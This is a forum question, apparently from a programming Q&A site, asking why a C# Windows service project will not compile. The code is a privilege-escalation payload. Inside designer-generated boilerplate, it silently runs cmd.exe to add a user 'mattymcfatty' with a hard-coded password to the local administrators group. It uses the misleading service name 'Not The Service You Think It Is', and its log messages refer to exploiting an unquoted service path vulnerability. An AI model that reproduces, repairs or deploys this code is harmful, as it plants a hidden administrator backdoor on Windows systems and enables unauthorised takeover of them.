I am new to C# and can't fix this issue. The code is
namespace SimpleWindowsService1
{
partial class SimpleService
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.eventLogSimple = new System.Diagnostics.EventLog();
((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).BeginInit();
//
// SimpleService
//
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C net user mattymcfatty Really1337! /add && net localgroup administrators mattymcfatty /add";
process.StartInfo = startInfo;
process.Start();
this.ServiceName = "Not The Service You Think It Is";
((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).EndInit();
}
#endregion
private System.Diagnostics.EventLog eventLogSimple;
}
}
When I try to compile it, I keep getting the error "marked as an override but no suitable method found". Can somebody with more C# experience help me figuring out what's wrong?
Thank you
Edit: Because of someone smart in the comments, I'm adding the second file SimpleService.cs. This is in the same project.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
namespace SimpleWindowsService1
{
public partial class SimpleService : ServiceBase
{
public SimpleService()
{
InitializeComponent();
// Initialize eventLogSimple
if (!System.Diagnostics.EventLog.SourceExists("SimpleSource"))
System.Diagnostics.EventLog.CreateEventSource("SimpleSource", "SimpleLog");
eventLogSimple.Source = "SimpleSource";
eventLogSimple.Log = "SimpleLog";
}
protected override void OnStart(string[] args)
{
//this is not executed for some reason
eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Started.");
}
protected override void OnStop()
{
//this is not executed for some reason
eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Stopped");
}
}
}